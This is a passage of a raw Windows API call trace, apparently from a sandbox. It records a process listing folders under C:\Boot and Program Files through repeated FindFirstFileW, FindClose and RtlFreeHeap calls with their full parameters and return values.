ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.541] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.541] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af898) returned 1 [0063.541] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401f0) returned 1 [0063.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.542] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.542] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8c8) returned 1 [0063.542] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040200) returned 1 [0063.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.543] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff98) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040030) returned 1 [0063.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.543] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034f58) returned 1 [0063.543] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040020) returned 1 [0063.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.544] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0590) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040210) returned 1 [0063.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd19c8540, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd19c8540, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.544] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb05e8) returned 1 [0063.544] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040220) returned 1 [0063.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a959b90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1a959b90, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1a959b90, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.545] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.545] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0648) returned 1 [0063.545] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040230) returned 1 [0063.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.545] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.545] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0690) returned 1 [0063.545] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040240) returned 1 [0063.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd26478c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd26478c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.546] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.546] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb06f0) returned 1 [0063.546] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040250) returned 1 [0063.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.546] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.546] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0750) returned 1 [0063.546] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040260) returned 1 [0063.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd215eb60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd215eb60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.547] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb07a8) returned 1 [0063.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040270) returned 1 [0063.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd2138a00, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd2138a00, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.547] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0800) returned 1 [0063.547] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040280) returned 1 [0063.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd21128a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd21128a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.548] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.548] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0850) returned 1 [0063.548] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040290) returned 1 [0063.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd1c29b40, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1c29b40, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.548] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.548] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb08b0) returned 1 [0063.548] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402a0) returned 1 [0063.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd24a49a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd24a49a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.548] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.549] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0900) returned 1 [0063.549] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402b0) returned 1 [0063.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.550] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.551] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0960) returned 1 [0063.551] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402c0) returned 1 [0063.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.552] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.552] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb09c8) returned 1 [0063.552] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402d0) returned 1 [0063.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.552] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.552] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0a20) returned 1 [0063.552] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402e0) returned 1 [0063.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd1e18d20, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1e18d20, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.553] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.553] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0a78) returned 1 [0063.553] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0063.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.553] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.553] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0ad8) returned 1 [0063.553] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402f0) returned 1 [0063.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.553] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0b40) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0063.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd207a320, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd207a320, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.554] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0ba8) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040310) returned 1 [0063.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.554] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0c10) returned 1 [0063.554] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040320) returned 1 [0063.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xd20a0480, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20a0480, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.555] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0c70) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040330) returned 1 [0063.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.555] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0cc0) returned 1 [0063.555] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040340) returned 1 [0063.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.556] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.556] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0d30) returned 1 [0063.556] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040350) returned 1 [0063.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.556] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.556] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0da0) returned 1 [0063.556] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040360) returned 1 [0063.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd20ec740, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20ec740, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.556] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0e08) returned 1 [0063.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040370) returned 1 [0063.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd1a86c20, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd1a86c20, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.557] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0e68) returned 1 [0063.557] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040380) returned 1 [0063.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd24a49a0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd24a49a0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.557] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.557] 